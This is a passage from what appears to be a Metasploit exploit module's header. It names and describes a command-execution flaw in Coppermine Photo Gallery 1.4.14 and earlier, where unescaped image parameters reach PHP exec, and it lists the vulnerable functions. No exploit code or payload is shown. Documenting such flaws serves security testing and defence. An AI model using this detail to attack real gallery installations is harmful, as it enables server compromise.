   'Name'           => 'Coppermine Photo Gallery <= 1.4.14 picEditor.php Command Execution',
   'Description'    => %q{
     This module exploits a vulnerability in the picEditor.php script of Coppermine
    Photo Gallery. When configured to use the ImageMagick library, the 'quality', 'angle',
    and 'clipval' parameters are not properly escaped before being passed to the PHP
    'exec' command.

    In order to reach the vulnerable 'exec' call, the input must pass several validation
    steps.

    The vulnerabilities actually reside in the following functions:

    image_processor.php: rotate_image(...)
    include/imageObjectIM.class.php: imageObject::cropImage(...)
    include/imageObjectIM.class.php: imageObject::rotateImage(...)
    include/imageObjectIM.class.php: imageObject::resizeImage(...)
    include/picmgmt.inc.php: resize_image(...)

    NOTE: Use of the ImageMagick library is a non-default option. However, a user can
    specify its use at installation time.
